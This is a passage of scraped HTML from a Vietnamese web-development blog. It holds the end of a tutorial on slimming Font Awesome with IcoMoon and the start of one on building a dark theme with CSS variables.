before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Tối ưu Font Awesome với IcoMoon</h2> <h3 id="bước-1-thêm-font-awesome-vào-icomoon" style="position:relative;"><a href="#b%C6%B0%E1%BB%9Bc-1-th%C3%AAm-font-awesome-v%C3%A0o-icomoon" aria-label="bước 1 thêm font awesome vào icomoon permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Bước 1: thêm Font Awesome vào IcoMoon</h3> <p>Trước tiên, bạn cần phải vào danh sách các <a href="https://icomoon.io/app/#/select/library">thư viện hỗ trợ</a> của IcoMoon.</p> <p><span class="gatsby-resp-image-wrapper" style="position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 660px; " > <span class="gatsby-resp-image-background-image" style="padding-bottom: 65.45454545454545%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAANCAYAAACpUE5eAAAACXBIWXMAAAsTAAALEwEAmpwYAAADHUlEQVQ4y3VSW28bRRT2D0DiBW1FnyNA4gFFSC1tkQJJSwWl5aV9KuKN38ILgookBR7ylEIpKUpT1xdIpVBibNI6IXbaPATqrLOzs5eZvdheb/Y2+6Gx1aAicaRvztGZ0TffuRSiKCpohLzk+/6rjLEJzvmE67rPwaJ0gsfJBID/wyssPHwZQKEgD8bYnG3bcBwndhxHcM5HYIwJzphwe33BOk/F1vWvxObcNdGc/VI8uva52Pp6VjRnv0hbC9/C/PuvMmqrY0LLsq67rgvf91PLstDtdmEYBjRNg3ZwgH4UQ/19HTcmX8Pt6VO48/67WHrnJG6+9QZunXkzW7l4Dk9/+7XaLRSOFM5zzkEpTRhjuWVZOed87G0770dR3m3U8x+nTua3z76dL02fzlcunsuXP5iWufSn81NQNxoV/Jdwb28vVVV1pMw0TRBCYBoGgjiBWq/h5qlJ3Jo6gTsXZrBy6T3c/eg8fjg9mS3NnEGnXqv2nxHatv1MYUopBWMMsqejvnIGLxiCbD7C8oUZVK5exv1PP0Hl4ysoX72M5Q/PZsUrl9BtPqzi9eNjQs75vC7VWGYahiGGw+EYQYAgCEZxz3Wh7T6B+ngHndY2HFVFTycSWWCZ6Hle9WjKnufOG5SC6HrKGJfDgRACOYAgDOH3eggGAxBKQS0LxDAxjCJIE0AWRBEc1/2X0HGceVmeLDmKY6RpiiSOEfseDjnDwPMwGAwgq5AfZlmGJE0QD/ryTRY6DhzGniOckz3kjMVpmgppWZqKZBiIhNni0PNEPwiEZRjC97zRncgykYahiG07SaiOnuNUjghd1/1G7p2u65B7KCdNZGzbo33sBwF6nX2of2yAtndAt1vobDwcx+02zD+34Tx+soqfH4wJTdP8jFIaEkI0XdcNVVUNTdMMGRNCDMd1Dd7ZNw6amwZp7xhaq2XsNzdHXmu3id5u983d3e9h+4VCrVYrLCwsvFAqlY6VSiXlbrGorK2tKdVqVSkWi4rMfbe4qNyolJVftraUe+vrSrnRUB60W0q5UVdKtXXlXqN+bPH+6ouy5H8AwYVKc+OiFqsAAAAASUVORK5CYII='); background-size: cover; display: block;" ></span> <img class="gatsby-resp-image-image" alt="Thêm font awesome vào icomoon" title="Thêm font awesome vào icomoon" src="/static/468b2ec2093936a88191e667c1dd375c/7c811/them-font-awesome-vao-icomoon.png" srcset="/static/468b2ec2093936a88191e667c1dd375c/103f2/them-font-awesome-vao-icomoon.png 165w, /static/468b2ec2093936a88191e667c1dd375c/748ba/them-font-awesome-vao-icomoon.png 330w, /static/468b2ec2093936a88191e667c1dd375c/7c811/them-font-awesome-vao-icomoon.png 660w" sizes="(max-width: 660px) 100vw, 660px" style="width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;" loading="lazy" decoding="async" /> </span></p> <p>Trong đó, bạn tìm đến phần Font Awesome rồi nhấn vào nút <strong>Add</strong> để thêm thư viện này vào IcoMoon App.</p> <h3 id="bước-2-lựa-chọn-các-icon-sử-dụng" style="position:relative;"><a href="#b%C6%B0%E1%BB%9Bc-2-l%E1%BB%B1a-ch%E1%BB%8Dn-c%C3%A1c-icon-s%E1%BB%AD-d%E1%BB%A5ng" aria-label="bước 2 lựa chọn các icon sử dụng permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Bước 2: lựa chọn các icon sử dụng</h3> <p>Bạn vào trang <a href="https://icomoon.io/app/#/select">Select</a> để lựa chọn các icon font sử dụng, bằng cách click vào mỗi icon:</p> <p><span class="gatsby-resp-image-wrapper" style="position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 660px; " > <span class="gatsby-resp-image-background-image" style="padding-bottom: 42.42424242424242%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAICAYAAAD5nd/tAAAACXBIWXMAAAsTAAALEwEAmpwYAAACC0lEQVQozzWPT27TQBjFfQoO0DMQCU7RLuAaGHGmmgV7EJsUSqJEip2kqpwZjxM79ng8fzyJHZwaSjydD6WCxZPe7+kt3nPW6O7F41G/ezzq90pJV+udK6V0q0q5Z1ZK/ePK1Vo/+91u7+4q4Z66vXushdsdpPu71R+KFF84DxK9oimCqlxDtk1gMpkA5wKCYA60KOD+/h42mw2sVisYj8cgOIfbHyOQLAVepNA1HA4qAS0LqOnijSPSu0Gt8tNxz55KRnsSx0YKbrKEGF4WJssywxgzlFKTJIkRQphwhYyW1LQ6M11N+64pT20tQabLS2ezSQYYY3NeIYWwESG20aXVktljoyzG2GZ5brMss2EYWiGERTiyO8VsWyvb/axsTPBTGIbnR1cOY2zg+745X6OU2tF4bA87ZpM1sg+NsEEQ2Hi9toQQO5lMbVmWdjbzreKZVTy33UHZxdx/mkynIIS4chBCA0rpH8654ZyfKKW9krwXbNsrWfZ5TnvG2LPyPO8bXfZNVfRtzfsiT3rJaV8UxSlNU9hut5cOpfT1YrGAKIogSRIYjUZQliV8+34LlBYQBAFgjCFcreDmZghtLWA+D+BXq+Hzl68QRQR834fhcAj7/f6tM5vNLhBC11EUfYzj2MMYe3FMPISQ95+jKHr254xtsVeLtUdT5K3OHUI8Qsg1xvjTcrl8+RfEkyNtrdIDvwAAAABJRU5ErkJggg=='); background-size: cover; display: block;" ></span> <img class="gatsby-resp-image-image" alt="Lựa chọn icon sử dụng trong Font Awesome" title="Lựa chọn icon sử dụng trong Font Awesome" src="/static/3e24055f29066c2ab9251256a6a1a3e5/7c811/lua-chon-icon-su-dung-1.png" srcset="/static/3e24055f29066c2ab9251256a6a1a3e5/103f2/lua-chon-icon-su-dung-1.png 165w, /static/3e24055f29066c2ab9251256a6a1a3e5/748ba/lua-chon-icon-su-dung-1.png 330w, /static/3e24055f29066c2ab9251256a6a1a3e5/7c811/lua-chon-icon-su-dung-1.png 660w" sizes="(max-width: 660px) 100vw, 660px" style="width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;" loading="lazy" decoding="async" /> </span></p> <h3 id="bước-3-tuỳ-chỉnh-và-tải-về-package" style="position:relative;"><a href="#b%C6%B0%E1%BB%9Bc-3-tu%E1%BB%B3-ch%E1%BB%89nh-v%C3%A0-t%E1%BA%A3i-v%E1%BB%81-package" aria-label="bước 3 tuỳ chỉnh và tải về package permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Bước 3: tuỳ chỉnh và tải về package</h3> <p>Sau khi đã lựa chọn được các icon sử dụng rồi, bạn nhấn vào phần <strong>Generate Font</strong> phía dưới - bên phải của trang web hoặc vào trang <a href="https://icomoon.io/app/#/select/font">Font</a> để tải các icon font về máy tính.</p> <p>Nếu để ý phía dưới bên phải, bạn sẽ nhìn thấy button <strong>Download</strong>. Bạn chỉ cần nhấn vào đó thì một file <strong>.zip</strong> chứa icon font, cùng với ví dụ và cách sử dụng demo sẽ được tải về máy tính.</p> <p>Tuy nhiên, mình khuyến khích bạn nhấn vào biểu tượng <strong>bánh răng</strong> bên cạnh để cài đặt một chút trước khi tải package về máy.</p> <p><span class="gatsby-resp-image-wrapper" style="position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 612px; " > <span class="gatsby-resp-image-background-image" style="padding-bottom: 123.63636363636363%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAZCAIAAAC+dZmEAAAACXBIWXMAAAsTAAALEwEAmpwYAAABeklEQVQ4y52TyZLCMAxE+f9/hEOqyAHiXd5ky5kiAhNgGMK8U8qpdksteddaI6J2g7ZRa22t7XLOrbV5oX98BAByzhcxEZ1Op2EYpJR865pyo59wpRdxSmme53Ec9/u9Uso5Zx8BAO89AKxPiOju7JzTWhtjuPh1BFprIYRSqj1yFbfWhmE4Ho/d2RgDAPM8E5GUcpomIQTb8q8HZwBIKSFizrl3yNn0FNbNX51LKQBwOByMMdbaEMKWtO9ll1KUUlrrsOC9J6IvxOfzWQihtZZSKqVgYZO41mqMcc4BAAcGACGElBIX0vv/RYyIUkoepl9gDQBwEK9dPDhba91Cv4L9+8zeinPOXGEIARG/S7vWiohpoc+ZS+Vl+pA2L5BZ0Fo75/6e1lWMiDHGcRy995z5u5DeOk/TZK1VSvG28qPb2jNnllJ6HekHMStjjN57ft5fiBExhBBj3Kh87pnNc85fiznwEMLHx/QsjjHijbIZXqrLnO2/KKX8ACJwuUUmVT60AAAAAElFTkSuQmCC'); background-size: cover; display: block;" ></span> <img class="gatsby-resp-image-image" alt="Tùy chọn cài đặt trước khi tải icon font về máy" title="Tùy chọn cài đặt trước khi tải icon font về máy" src="/static/5fbd939e1b42de24e01964d17f55cd07/dbf98/cai-dat-truoc-khi-tai-font-ve-may-1.png" srcset="/static/5fbd939e1b42de24e01964d17f55cd07/103f2/cai-dat-truoc-khi-tai-font-ve-may-1.png 165w, /static/5fbd939e1b42de24e01964d17f55cd07/748ba/cai-dat-truoc-khi-tai-font-ve-may-1.png 330w, /static/5fbd939e1b42de24e01964d17f55cd07/dbf98/cai-dat-truoc-khi-tai-font-ve-may-1.png 612w" sizes="(max-width: 612px) 100vw, 612px" style="width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;" loading="lazy" decoding="async" /> </span></p> <p>Trong đó:</p> <ul> <li><strong>Font Name</strong>: tên package sẽ được tải về. Mặc định là <em>icomoon</em>.</li> <li><strong>Class Prefix</strong> và <strong>Class Suffix</strong>: thêm tiền tố và hậu tố vào tên class của icon. Bạn có thể tuỳ chọn giá trị này nếu cần thiết để tránh xung đột về tên class với các thành phần khác. Mặc định, tiền tố là <em>icon-</em> và hậu tố để trống.</li> <li>Tiếp theo là các tuỳ chọn: <ul> <li><strong>Support IE 8</strong>: hỗ trợ IE8</li> <li><strong>Support IE 7 và IE6</strong>: hỗ trợ IE 7 và IE 6</li> <li><strong>Include metadata in fonts</strong>: thêm metadata vào fonts</li> <li><strong>Encode &#x26; embed font in CSS</strong>: chỉ hỗ trợ gói Premium</li> <li><strong>Generate Sass, Less or Stylus variables</strong>: sinh ra các biến số dành cho Sass, Less hoặc Stylus</li> </ul> </li> <li><strong>CSS Selector</strong>: lựa chọn cách sử dụng font trong <a href="/tag/css/">CSS</a> với 3 loại CSS <a href="https://developer.mozilla.org/en-US/docs/Web/CSS/CSS_Selectors">Selector</a>. <ul> <li><strong>Use i (for selecting &#x3C;>)</strong>: sử dụng thẻ <em>i</em>. Ví dụ: <code>&#x3C;i class="icon-asterisk">&#x3C;/i></code></li> <li><strong>Use attribute selectors</strong>. Ví dụ: <code>&#x3C;span class="icon-asterisk">&#x3C;/span></code></li> <li><strong>Use a class</strong>. Ví dụ: <code>&#x3C;span class="icon icon-asterisk">&#x3C;/span></code></li> </ul> </li> <li><strong>Font metrics</strong>, <strong>Metadata</strong> và <strong>Version</strong>: điều chỉnh kích thước cho font, thêm metadata và thông tin version (cái này mình để mặc định).</li> </ul> <p>Sau khi tuỳ chỉnh xong các cài đặt, bạn tắt cửa sổ này đi và nhấn vào button <strong>Download</strong> như mình đã nói ở trên để tải về package của font.</p> <h3 id="bước-4-sử-dụng" style="position:relative;"><a href="#b%C6%B0%E1%BB%9Bc-4-s%E1%BB%AD-d%E1%BB%A5ng" aria-label="bước 4 sử dụng permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Bước 4: sử dụng</h3> <p>Bên trong package này, bạn sẽ thấy hai phần quan trọng như:</p> <ul> <li><strong>fonts</strong>: thư mục chứa font.</li> <li><strong>style.css</strong>: tệp tin khai báo và cài đặt cho các font sử dụng.</li> </ul> <p>Khi sử dụng các font tuỳ chỉnh này, bạn cần phải copy thư mục <strong>fonts</strong> và tệp tin <strong>style.css</strong> vào project, rồi cấu hình file <strong>html</strong> như bình thường:</p> <div class="gatsby-highlight" data-language="html"><pre class="language-html"><code class="language-html"><span class="token doctype"><span class="token punctuation">&lt;!</span><span class="token doctype-tag">DOCTYPE</span> <span class="token name">html</span><span class="token punctuation">></span></span> <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>html</span><span class="token punctuation">></span></span> <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>head</span><span class="token punctuation">></span></span> <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>link</span> <span class="token attr-name">rel</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>stylesheet<span class="token punctuation">"</span></span> <span class="token attr-name">href</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>style.css<span class="token punctuation">"</span></span> <span class="token punctuation">/></span></span> <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>head</span><span class="token punctuation">></span></span> <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>body</span><span class="token punctuation">></span></span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>body</span><span class="token punctuation">></span></span> <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>html</span><span class="token punctuation">></span></span></code></pre></div> <p>Còn việc sử dụng các icon này trong HTML như thế nào thì bạn có thể tham khảo thêm trong file <strong>demo.html</strong> (trong package tải về).</p> <blockquote> <p><strong>Bạn chú ý</strong>: với mỗi cách sử dụng <strong>CSS Selector</strong> khác nhau thì cách sử dụng sẽ khác nhau (như mình đã nói ở bước 3).</p> </blockquote> <h2 id="lời-kết" style="position:relative;"><a href="#l%E1%BB%9Di-k%E1%BA%BFt" aria-label="lời kết permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Lời kết</h2> <p>Trên đây là cách tối ưu Font Awesome với IcoMoon mà bạn có thể sử dụng. Với cách này bạn có thể giảm dung lượng Font Awesome tải về từ trên 50KB, xuống còn khoảng vài KB. Nếu có phần nào thắc mắc hoặc khó hiểu thì bạn có thể để lại câu hỏi trong phần bình luận phía dưới, mình sẽ cố gắng giải đáp.</p> <p><em>Bình thường bạn sử dụng Font Awesome như thế nào? Có tối ưu hay không? Nếu tối ưu thì tối ưu như thế nào? Chia sẻ với mình và mọi người nhé!</em></p> <p>Xin chào và hẹn gặp lại, thân ái!</p> <p><em>Có thể bạn quan tâm: <a href="/web-tai-free-icon-svg/">18 trang web tải free icon SVG cho cá nhân và thương mại</a></em></p>[email protected]<![CDATA[Tạo Dark Theme với CSS Variable]]><![CDATA[Dark theme, dark mode hay night mode,... là một tính năng khá thú vị. Mình hay chuyển theme (trình duyệt, IDE) về chế độ này. Vì đơn giản là trông nó có vẻ chuyên nghiệp và mang…]]>https://completejavascript.com/tao-dark-theme-voi-css-variable/https://completejavascript.com/tao-dark-theme-voi-css-variable/<![CDATA[CSS]]>Wed, 04 Apr 2018 22:30:40 GMT<p><strong>Dark theme</strong>, <strong>dark mode</strong> hay <strong>night mode</strong>,... là một tính năng khá thú vị. Mình hay chuyển theme (trình duyệt, IDE) về chế độ này. Vì đơn giản là trông nó có vẻ chuyên nghiệp và mang màu sắc bí ẩn - kiểu hacker ấy.</p> <p>Mà nói vậy chứ, thực ra mình để vậy cho <strong>đỡ chói mắt</strong> thôi. Không phải làm màu đâu nhé!</p> <p>À, thế bạn biết cách xây dựng nhiều theme cho một trang web không? Mình thì không chắc đâu.</p> <p>Nhưng sau khi tìm hiểu về CSS variable xong, mình đã nảy ra một ý tưởng. Đó là mình sẽ thử tạo dark theme với CSS variable cho trang web.</p> <p><strong>Tại sao lại là CSS variable?</strong></p> <h2 id="cơ-bản-về-css-variable" style="position:relative;"><a href="#c%C6%A1-b%E1%BA%A3n-v%E1%BB%81-css-variable" aria-label="cơ bản về css variable permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Cơ bản về CSS variable</h2> <h3 id="khái-niệm" style="position:relative;"><a href="#kh%C3%A1i-ni%E1%BB%87m" aria-label="khái niệm permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Khái niệm</h3> <p>CSS variable cho phép bạn định nghĩa biến số ngay trong CSS - việc mà bạn <strong>ĐÃ TỪNG</strong> chỉ làm ở các ngôn ngữ lập trình JavaScript, C/C++, Java,...</p> <p>Việc sử dụng biến số có những ưu điểm là bạn có thể định nghĩa một nơi và sử dụng lại ở nhiều nơi khác. Bạn cũng có thể thay đổi giá trị CSS variable từ JavaScript. Và rõ ràng là bạn chỉ cần thay đổi một lần, chứ không phải thay thế thủ công kiểu <strong>find-replace</strong> nữa.</p> <h3 id="cách-sử-dụng-cơ-bản" style="position:relative;"><a href="#c%C3%A1ch-s%E1%BB%AD-d%E1%BB%A5ng-c%C6%A1-b%E1%BA%A3n" aria-label="cách sử dụng cơ bản permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Cách sử dụng cơ bản</h3> <p>Mọi CSS variable đều bắt đầu bằng hai dấu gạch ngang (--) và phải đặt trong một <strong>element</strong> nào đó. Ví dụ: <em>body, div, .class_bat_ky,...</em></p> <p>Ví dụ phần khai báo CSS variable:</p> <div class="gatsby-highlight" data-language="css"><pre class="language-css"><code class="language-css"><span class="token selector">element</span> <span class="token punctuation">{</span> <span class="token property">--main-bg-color</span><span class="token punctuation">:</span> #000<span class="token punctuation">;</span> <span class="token punctuation">}</span></code></pre></div> <p>Để dụng biến số này, bạn sử dụng function <a href="https://developer.mozilla.org/en-US/docs/Web/CSS/var">var()</a> với tham số là CSS variable. Ví dụ:</p> <div class="gatsby-highlight" data-language="css"><pre class="language-css"><code class="language-css"><span class="token selector">element</span> <span class="token punctuation">{</span> <span class="token property">background-color</span><span class="token punctuation">:</span> <span class="token function">var</span><span class="token punctuation">(</span>--main-bg-color<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span></code></pre></div> <p>Ngoài ra, nếu bạn muốn sử dụng CSS variable ở mọi nơi trên trang web, bạn có thể khai báo chúng ở <code>:root</code> - phần tử cấp cao nhất trong <a href="/co-ban-ve-dom-javascript/">DOM tree</a>.</p> <p>Để biết thêm về các tính chất của CSS variable bạn có thể tham khảo thêm tại các bài viết sau:</p> <ul> <li><a href="https://ehkoo.com/bai-viet/can-ban-ve-css-variables">Căn bản về CSS Variables</a></li> <li><a href="https://viblo.asia/p/kham-pha-nhung-loi-ich-cua-css-variables-Eb85oBE6l2G">Khám phá những lợi ích của CSS Variables</a></li> </ul> <h2 id="áp-dụng-tạo-dark-theme-với-css-variable" style="position:relative;"><a href="#%C3%A1p-d%E1%BB%A5ng-t%E1%BA%A1o-dark-theme-v%E1%BB%9Bi-css-variable" aria-label="áp dụng tạo dark theme với css variable permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Áp dụng tạo dark theme với CSS variable</h2> <h3 id="ý-tưởng-chung" style="position:relative;"><a href="#%C3%BD-t%C6%B0%E1%BB%9Fng-chung" aria-label="ý tưởng chung permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Ý tưởng chung</h3> <p>Giả sử mình có một file <em>index.html</em> với nội dung phần body như này:</p> <div class="gatsby-highlight" data-language="html"><pre class="language-html"><code class="language-html"><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>body</span><span class="token punctuation">></span></span> <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>div</span> <span class="token attr-name">class</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>option<span class="token punctuation">"</span></span><span class="token punctuation">></span></span> <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>span</span> <span class="token attr-name">class</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>btn<span class="token punctuation">"</span></span><span class="token punctuation">></span></span>Dark<span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>span</span><span class="token punctuation">></span></span> <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>span</span> <span class="token attr-name">class</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>btn active<span class="token punctuation">"</span></span><span class="token punctuation">></span></span>Light<span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>span</span><span class="token punctuation">></span></span> <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>div</span><span class="token punctuation">></span></span> <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>main</span><span class="token punctuation">></span></span> <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>header</span><span class="token punctuation">></span></span> <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>h1</span><span class="token punctuation">></span></span>Exercitation ullamco laboris nisi ut aliquip commodo. <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>header</span><span class="token punctuation">></span></span> <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>p</span><span class="token punctuation">></span></span>Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris, nisi ut aliquip ex ea commodo consequat. Duis aute irure dolor<span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>p</span><span class="token punctuation">></span></span> <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>p</span><span class="token punctuation">></span></span>in reprehenderit in voluptate velit esse cillum dolore eu, fugiat nulla pariatur. Excepteur sint occaecat cupidatat non proident, sunt in culpa qui officia deserunt mollit anim id est laborum.<span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>p</span><span class="token punctuation">></span></span> <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>main</span><span class="token punctuation">></span></span> <span class="token tag"><span class="token tag"><span class="token 